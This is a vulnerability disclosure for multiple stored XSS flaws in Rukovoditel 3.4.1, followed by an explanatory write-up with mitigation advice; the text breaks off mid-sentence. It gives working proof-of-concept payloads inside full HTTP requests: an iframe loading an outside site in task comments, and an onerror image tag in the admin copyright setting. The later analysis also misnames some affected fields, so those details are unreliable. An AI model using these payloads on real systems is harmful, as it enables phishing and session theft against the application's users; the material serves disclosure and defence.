Rukovoditel 3.4.1 - Multiple Stored XSS

Exploit Author: Mirabbas Ağalarov Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-07-03
Exploit Title: Rukovoditel 3.4.1 - Multiple Stored XSS
Version: 3.4.1
Bugs:  Multiple Stored XSS
Technology: PHP
Vendor URL: https://www.rukovoditel.net/
Software Link: https://www.rukovoditel.net/download.php
Date of found: 24-06-2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
               ###XSS-1###
========================================
steps:
1. login to account
2. create project (http://localhost/index.php?module=items/items&path=21)
3. add task      
4. open task 
5. add comment as "<iframe src="https://14.rs"></iframe> "


POST /index.php?module=items/comments&action=save&token=FEOZ9jeKuA HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
Origin: http://localhost
Connection: close
Referer: http://localhost/index.php?module=items/info&path=21-2/22-1&redirect_to=subentity&gotopage[74]=1
Cookie: cookie_test=please_accept_for_session; sid=vftrl4mhmbvdbrvfmb0rb54vo5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

form_session_token=FEOZ9jeKuA&path=21-2%2F22-1&fields%5B169%5D=47&fields%5B170%5D=53&fields%5B174%5D=3&description=%3Ciframe+src%3D%22https%3A%2F%2F14.rs%22%3E%3C%2Fiframe%3E+&uploadifive_attachments_upload_attachments=&comments_attachments=

===========================
               ###XSS-2###
===========================
1.go to admin account
2.go to configration => applicaton
3.Copyright Text set as "<img src=x onerror=alert(1)>"


POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12298384558648010343132232769
Content-Length: 2766
Origin: http://localhost
Connection: close
Referer: http://localhost/index.php?module=configuration/application
Cookie: cookie_test=please_accept_for_session; sid=vftrl4mhmbvdbrvfmb0rb54vo5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="form_session_token"

ju271AAoy1
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_NAME]"

Rukovoditel
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_SHORT_NAME_MOBILE]"

ffgsdfgsdfg
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_SHORT_NAME]"

ruko
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="APP_LOGO"; filename=""
Content-Type: application/octet-stream


-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_LOGO]"


-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_LOGO_URL]"


-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="APP_FAVICON"; filename=""
Content-Type: application/octet-stream


-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_FAVICON]"


-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_COPYRIGHT_NAME]"

<img src=x onerror=alert(1)>
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_LANGUAGE]"

english.php
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_SKIN]"


-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_TIMEZONE]"

America/New_York
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_ROWS_PER_PAGE]"

10
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_DATE_FORMAT]"

m/d/Y
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_DATETIME_FORMAT]"

m/d/Y H:i
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_NUMBER_FORMAT]"

2/./*
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_FIRST_DAY_OF_WEEK]"

0
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[DROP_DOWN_MENU_ON_HOVER]"

0
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[DISABLE_CHECK_FOR_UPDATES]"

0
-----------------------------12298384558648010343132232769--


Exploiting Multiple Stored XSS Vulnerabilities in Rukovoditel 3.4.1: A Deep Dive into PHP-Based Web Application Security Risks

Security researchers have recently uncovered a critical vulnerability in Rukovoditel 3.4.1, a widely used PHP-based project management platform. The flaw, identified as Multiple Stored XSS, allows attackers to inject malicious scripts that persistently execute whenever users view specific content. This poses a significant threat to both individual users and organizations relying on the software for sensitive operations.

Understanding Stored XSS: Why It's Dangerous

Unlike reflected XSS, where malicious scripts are delivered via a single request, stored XSS involves injecting code that is permanently saved in the application's database. This means the payload remains active until removed, potentially affecting every user who accesses the affected page.

For example, if an attacker adds a comment containing a malicious <iframe src="https://14.rs"> tag, the script will execute whenever any user opens the task or project page—without requiring further interaction from the victim. This makes stored XSS one of the most dangerous vulnerabilities in web applications.

Exploitation Overview: Two Distinct Stored XSS Flaws

Two separate stored XSS vulnerabilities were discovered in Rukovoditel 3.4.1, each affecting different components of the system. These flaws demonstrate how inadequate input sanitization can lead to widespread exploitation.

### XSS-1: Comment Injection via Task Management

This vulnerability arises when users add comments to tasks without proper validation of input content.

POST /index.php?module=items/comments&action=save&token=FEOZ9jeKuA HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
Cookie: cookie_test=please_accept_for_session; sid=vftrl4mhmbvdbrvfmb0rb54vo5
Referer: http://localhost/index.php?module=items/info&path=21-2/22-1&redirect_to=subentity&gotopage[74]=1

form_session_token=FEOZ9jeKuA&path=21-2%2F22-1&fields%5B169%5D=47&fields%5B170%5D=53&fields%5B174%5D=3&description=%3Ciframe+src%3D%22https%3A%2F%2F14.rs%22%3E%3C%2Fiframe%3E+&uploadifive_attachments_upload_attachments=&comments_attachments=

Explanation: The attacker sends a POST request to the comment-saving endpoint, injecting a malicious <iframe> tag into the description field. The server stores this raw input without sanitization, allowing the script to execute when the task is viewed.

When a user opens the task page, the browser renders the iframe, loading content from https://14.rs—which could be a phishing site, a malicious script, or even a beacon to track user behavior.

### XSS-2: Copyright Text Manipulation in Admin Configuration

Another critical flaw exists in the application's configuration module, where administrators can set the copyright text. This field lacks proper sanitization, enabling arbitrary script injection.

POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------12298384558648010343132232769
Content-Length: 2766
Cookie: cookie_test=please_accept_for_session; sid=vftrl4mhmbvdbrvfmb0rb54vo5
Referer: http://localhost/index.php?module=configuration/application

-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="form_session_token"

ju271AAoy1
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_NAME]"

Rukovoditel
-----------------------------12298384558648010343132232769
Content-Disposition: form-data; name="CFG[APP_SHORT_N

Explanation: The attacker modifies the CFG[APP_SHORT_NAME] or CFG[APP_COPYRIGHT] field to include a malicious payload like <img src=x onerror=alert(1)>. Since the application renders this text directly in the UI without escaping, the script executes when the page loads.

Even if the attacker doesn’t have admin access, they could potentially exploit this if the application allows untrusted users to modify configuration settings—though in this case, the vulnerability is only accessible to administrators.

Technical Root Causes and Security Implications

Both vulnerabilities stem from the same core issue: inadequate input sanitization and lack of output encoding. The application fails to escape or validate HTML content before storing it in the database or rendering it on the frontend.

  • Failure to escape HTML entities allows malicious tags to be rendered directly.
  • Untrusted input handling in configuration and comment fields without validation or filtering.
  • Missing CSRF protection enforcement on critical endpoints, though the token is present, it does not prevent malicious payloads.

These flaws highlight a common pitfall in PHP applications: assuming user input is safe, especially when it comes from trusted roles like administrators or team members.

Real-World Impact and Attack Scenarios

Stored XSS in Rukovoditel can lead to:

  • Phishing attacks via iframe redirects to fake login pages.
  • Session hijacking by stealing cookies through JavaScript execution.
  • Malware delivery via embedded scripts from compromised domains.
  • Defacement of the application interface with unauthorized content.

For organizations using Rukovoditel for project tracking, employee collaboration, or sensitive data management, this vulnerability could compromise internal communications, expose confidential project details, or even lead to full system takeover if combined with other exploits.

Recommendations and Mitigation Strategies

Developers and administrators must implement robust security measures to prevent such vulnerabilities:

  • Sanitize all user inputs using functions like htmlspecialchars() in PHP before storing or displaying.
  • Implement strict input validation to reject or filter known malicious patterns (e.g., <script>, <iframe>, onerror).
  • Use Content Security Policy (CSP) headers to restrict script execution from untrusted sources.
  • Validate and encode output at every rendering stage, especially in dynamic UI elements.
  • Apply role-based access controls to limit configuration changes to authorized users only.

Additionally, automated security scanning tools like OWASP ZAP or Burp Suite can help detect such flaws during development cycles.

Corrected Code Example: Safe Input Handling

// Before: vulnerable code
$description = $_POST['description'];
// Store directly into database

// After: secure implementation
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
// Store sanitized version

Explanation: Using htmlspecialchars() ensures that special characters like < and